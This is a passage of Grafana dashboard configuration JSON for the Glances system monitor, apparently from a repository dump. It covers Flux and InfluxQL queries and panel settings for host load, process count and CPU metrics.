container\",\n\t\t\t\"type\": \"timeseries\"\n\t\t}\n\t],\n\t\"refresh\": \"5s\",\n\t\"schemaVersion\": 32,\n\t\"style\": \"dark\",\n\t\"tags\": [],\n\t\"templating\": {\n\t\t\"list\": [\n\t\t\t{\n\t\t\t\t\"allValue\": null,\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\t\"definition\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"hostname\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"description\": null,\n\t\t\t\t\"error\": null,\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"label\": null,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"host\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"hostname\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 0,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"allValue\": null,\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\t\"definition\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"description\": null,\n\t\t\t\t\"error\": null,\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": true,\n\t\t\t\t\"label\": null,\n\t\t\t\t\"multi\": true,\n\t\t\t\t\"name\": \"container\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"allValue\": null,\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\t\"definition\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"interface_name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"description\": null,\n\t\t\t\t\"error\": null,\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"label\": null,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"interface\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"interface_name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"allValue\": null,\n\t\t\t\t\"current\": {},\n\t\t\t\t\"datasource\": \"${DS_GLANCES}\",\n\t\t\t\t\"definition\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"disk_name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"description\": null,\n\t\t\t\t\"error\": null,\n\t\t\t\t\"hide\": 0,\n\t\t\t\t\"includeAll\": false,\n\t\t\t\t\"label\": null,\n\t\t\t\t\"multi\": false,\n\t\t\t\t\"name\": \"disk\",\n\t\t\t\t\"options\": [],\n\t\t\t\t\"query\": \"import \\\"influxdata/influxdb/v1\\\"\\nv1.tagValues(\\n    bucket: v.bucket,\\n    tag: \\\"disk_name\\\",\\n    predicate: (r) => true,\\n    start: -1d\\n)\",\n\t\t\t\t\"refresh\": 1,\n\t\t\t\t\"regex\": \"\",\n\t\t\t\t\"skipUrlSync\": false,\n\t\t\t\t\"sort\": 1,\n\t\t\t\t\"tagValuesQuery\": \"\",\n\t\t\t\t\"tagsQuery\": \"\",\n\t\t\t\t\"type\": \"query\",\n\t\t\t\t\"useTags\": false\n\t\t\t}\n\t\t]\n\t},\n\t\"time\": {\n\t\t\"from\": \"now-1h\",\n\t\t\"to\": \"now\"\n\t},\n\t\"timepicker\": {\n\t\t\"collapse\": false,\n\t\t\"enable\": true,\n\t\t\"notice\": false,\n\t\t\"now\": true,\n\t\t\"refresh_intervals\": [\n\t\t\t\"5s\",\n\t\t\t\"10s\",\n\t\t\t\"30s\",\n\t\t\t\"1m\",\n\t\t\t\"5m\",\n\t\t\t\"15m\",\n\t\t\t\"30m\",\n\t\t\t\"1h\",\n\t\t\t\"2h\",\n\t\t\t\"1d\"\n\t\t],\n\t\t\"status\": \"Stable\",\n\t\t\"time_options\": [\"5m\", \"15m\", \"1h\", \"6h\", \"12h\", \"24h\", \"2d\", \"7d\", \"30d\"],\n\t\t\"type\": \"timepicker\"\n\t},\n\t\"timezone\": \"browser\",\n\t\"title\": \"Glances For FLUX\",\n\t\"uid\": \"ESYAe0tnk\",\n\t\"version\": 21\n}\n"
  },
  {
    "path": "conf/glances-grafana-influxql.json",
    "content": "{\n\t\"__inputs\": [\n\t\t{\n\t\t\t\"name\": \"DS_GLANCES\",\n\t\t\t\"label\": \"glances\",\n\t\t\t\"description\": \"\",\n\t\t\t\"type\": \"datasource\",\n\t\t\t\"pluginId\": \"influxdb\",\n\t\t\t\"pluginName\": \"InfluxDB\"\n\t\t},\n\t\t{\n\t\t\t\"name\": \"DS_LSAT1\",\n\t\t\t\"label\": \"lsat1\",\n\t\t\t\"description\": \"\",\n\t\t\t\"type\": \"datasource\",\n\t\t\t\"pluginId\": \"influxdb\",\n\t\t\t\"pluginName\": \"InfluxDB\"\n\t\t}\n\t],\n\t\"__elements\": {},\n\t\"__requires\": [\n\t\t{\n\t\t\t\"type\": \"grafana\",\n\t\t\t\"id\": \"grafana\",\n\t\t\t\"name\": \"Grafana\",\n\t\t\t\"version\": \"10.4.1\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"datasource\",\n\t\t\t\"id\": \"influxdb\",\n\t\t\t\"name\": \"InfluxDB\",\n\t\t\t\"version\": \"1.0.0\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"stat\",\n\t\t\t\"name\": \"Stat\",\n\t\t\t\"version\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"text\",\n\t\t\t\"name\": \"Text\",\n\t\t\t\"version\": \"\"\n\t\t},\n\t\t{\n\t\t\t\"type\": \"panel\",\n\t\t\t\"id\": \"timeseries\",\n\t\t\t\"name\": \"Time series\",\n\t\t\t\"version\": \"\"\n\t\t}\n\t],\n\t\"annotations\": {\n\t\t\"list\": [\n\t\t\t{\n\t\t\t\t\"builtIn\": 1,\n\t\t\t\t\"datasource\": {\n\t\t\t\t\t\"type\": \"datasource\",\n\t\t\t\t\t\"uid\": \"grafana\"\n\t\t\t\t},\n\t\t\t\t\"enable\": true,\n\t\t\t\t\"hide\": true,\n\t\t\t\t\"iconColor\": \"rgba(0, 211, 255, 1)\",\n\t\t\t\t\"name\": \"Annotations & Alerts\",\n\t\t\t\t\"type\": \"dashboard\"\n\t\t\t}\n\t\t]\n\t},\n\t\"editable\": true,\n\t\"fiscalYearStartMonth\": 0,\n\t\"graphTooltip\": 0,\n\t\"id\": null,\n\t\"links\": [],\n\t\"panels\": [\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"thresholds\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 0,\n\t\t\t\t\"y\": 0\n\t\t\t},\n\t\t\t\"id\": 5,\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"none\",\n\t\t\t\t\"graphMode\": \"none\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"showPercentChange\": false,\n\t\t\t\t\"textMode\": \"auto\",\n\t\t\t\t\"wideLayout\": true\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"cpucore\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"cpucore\\\") FROM \\\"$host.load\\\" WHERE $timeFilter GROUP BY time($interval)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"cpucore\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"max\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Core\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 10,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 2,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"normal\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"short\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 20,\n\t\t\t\t\"x\": 2,\n\t\t\t\t\"y\": 0\n\t\t\t},\n\t\t\t\"id\": 4,\n\t\t\t\"options\": {\n\t\t\t\t\"legend\": {\n\t\t\t\t\t\"calcs\": [\"mean\", \"max\", \"min\"],\n\t\t\t\t\t\"displayMode\": \"table\",\n\t\t\t\t\t\"placement\": \"right\",\n\t\t\t\t\t\"showLegend\": true\n\t\t\t\t},\n\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\"mode\": \"single\",\n\t\t\t\t\t\"sort\": \"none\"\n\t\t\t\t}\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"1min\",\n\t\t\t\t\t\"column\": \"min1\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"min1\\\") FROM \\\"$host.load\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min1\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"randomWalk('random walk')\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"5mins\",\n\t\t\t\t\t\"column\": \"min5\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"min5\\\") FROM \\\"$host.load\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"B\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min5\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\t\"alias\": \"15mins\",\n\t\t\t\t\t\"column\": \"min15\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"auto\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"none\"],\n\t\t\t\t\t\t\t\"type\": \"fill\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"load\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"min15\\\") FROM \\\"$host.load\\\" WHERE $timeFilter GROUP BY time($interval) fill(null)\",\n\t\t\t\t\t\"refId\": \"C\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"min15\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"mean\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"load\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"target\": \"\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Load\",\n\t\t\t\"type\": \"timeseries\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"fixedColor\": \"rgb(31, 120, 193)\",\n\t\t\t\t\t\t\"mode\": \"fixed\"\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"options\": {\n\t\t\t\t\t\t\t\t\"match\": \"null\",\n\t\t\t\t\t\t\t\t\"result\": {\n\t\t\t\t\t\t\t\t\t\"text\": \"N/A\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\"type\": \"special\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 6,\n\t\t\t\t\"w\": 2,\n\t\t\t\t\"x\": 22,\n\t\t\t\t\"y\": 0\n\t\t\t},\n\t\t\t\"id\": 18,\n\t\t\t\"maxDataPoints\": 100,\n\t\t\t\"options\": {\n\t\t\t\t\"colorMode\": \"none\",\n\t\t\t\t\"graphMode\": \"area\",\n\t\t\t\t\"justifyMode\": \"auto\",\n\t\t\t\t\"orientation\": \"horizontal\",\n\t\t\t\t\"reduceOptions\": {\n\t\t\t\t\t\"calcs\": [\"mean\"],\n\t\t\t\t\t\"fields\": \"\",\n\t\t\t\t\t\"values\": false\n\t\t\t\t},\n\t\t\t\t\"showPercentChange\": false,\n\t\t\t\t\"textMode\": \"auto\",\n\t\t\t\t\"wideLayout\": true\n\t\t\t},\n\t\t\t\"pluginVersion\": \"10.4.1\",\n\t\t\t\"targets\": [\n\t\t\t\t{\n\t\t\t\t\t\"column\": \"total\",\n\t\t\t\t\t\"datasource\": {\n\t\t\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t\t\t},\n\t\t\t\t\t\"dsType\": \"influxdb\",\n\t\t\t\t\t\"function\": \"mean\",\n\t\t\t\t\t\"groupBy\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"params\": [\"$__interval\"],\n\t\t\t\t\t\t\t\"type\": \"time\"\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t\"measurement\": \"processcount\",\n\t\t\t\t\t\"orderByTime\": \"ASC\",\n\t\t\t\t\t\"policy\": \"default\",\n\t\t\t\t\t\"query\": \"SELECT mean(\\\"total\\\") FROM \\\"$host.processcount\\\" WHERE $timeFilter GROUP BY time($interval)\",\n\t\t\t\t\t\"refId\": \"A\",\n\t\t\t\t\t\"resultFormat\": \"time_series\",\n\t\t\t\t\t\"select\": [\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [\"total\"],\n\t\t\t\t\t\t\t\t\"type\": \"field\"\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"params\": [],\n\t\t\t\t\t\t\t\t\"type\": \"last\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t],\n\t\t\t\t\t\"series\": \"processcount\",\n\t\t\t\t\t\"tags\": [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"key\": \"hostname\",\n\t\t\t\t\t\t\t\"operator\": \"=~\",\n\t\t\t\t\t\t\t\"value\": \"/^$host$/\"\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t],\n\t\t\t\"title\": \"Processes\",\n\t\t\t\"type\": \"stat\"\n\t\t},\n\t\t{\n\t\t\t\"datasource\": {\n\t\t\t\t\"type\": \"influxdb\",\n\t\t\t\t\"uid\": \"${DS_GLANCES}\"\n\t\t\t},\n\t\t\t\"fieldConfig\": {\n\t\t\t\t\"defaults\": {\n\t\t\t\t\t\"color\": {\n\t\t\t\t\t\t\"mode\": \"palette-classic\"\n\t\t\t\t\t},\n\t\t\t\t\t\"custom\": {\n\t\t\t\t\t\t\"axisBorderShow\": false,\n\t\t\t\t\t\t\"axisCenteredZero\": false,\n\t\t\t\t\t\t\"axisColorMode\": \"text\",\n\t\t\t\t\t\t\"axisLabel\": \"\",\n\t\t\t\t\t\t\"axisPlacement\": \"auto\",\n\t\t\t\t\t\t\"barAlignment\": 0,\n\t\t\t\t\t\t\"drawStyle\": \"line\",\n\t\t\t\t\t\t\"fillOpacity\": 0,\n\t\t\t\t\t\t\"gradientMode\": \"none\",\n\t\t\t\t\t\t\"hideFrom\": {\n\t\t\t\t\t\t\t\"legend\": false,\n\t\t\t\t\t\t\t\"tooltip\": false,\n\t\t\t\t\t\t\t\"viz\": false\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"insertNulls\": false,\n\t\t\t\t\t\t\"lineInterpolation\": \"linear\",\n\t\t\t\t\t\t\"lineWidth\": 1,\n\t\t\t\t\t\t\"pointSize\": 5,\n\t\t\t\t\t\t\"scaleDistribution\": {\n\t\t\t\t\t\t\t\"type\": \"linear\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"showPoints\": \"never\",\n\t\t\t\t\t\t\"spanNulls\": false,\n\t\t\t\t\t\t\"stacking\": {\n\t\t\t\t\t\t\t\"group\": \"A\",\n\t\t\t\t\t\t\t\"mode\": \"none\"\n\t\t\t\t\t\t},\n\t\t\t\t\t\t\"thresholdsStyle\": {\n\t\t\t\t\t\t\t\"mode\": \"off\"\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"mappings\": [],\n\t\t\t\t\t\"thresholds\": {\n\t\t\t\t\t\t\"mode\": \"absolute\",\n\t\t\t\t\t\t\"steps\": [\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"green\",\n\t\t\t\t\t\t\t\t\"value\": null\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"color\": \"red\",\n\t\t\t\t\t\t\t\t\"value\": 80\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t]\n\t\t\t\t\t},\n\t\t\t\t\t\"unit\": \"percent\"\n\t\t\t\t},\n\t\t\t\t\"overrides\": []\n\t\t\t},\n\t\t\t\"gridPos\": {\n\t\t\t\t\"h\": 7,\n\t\t\t\t\"w\": 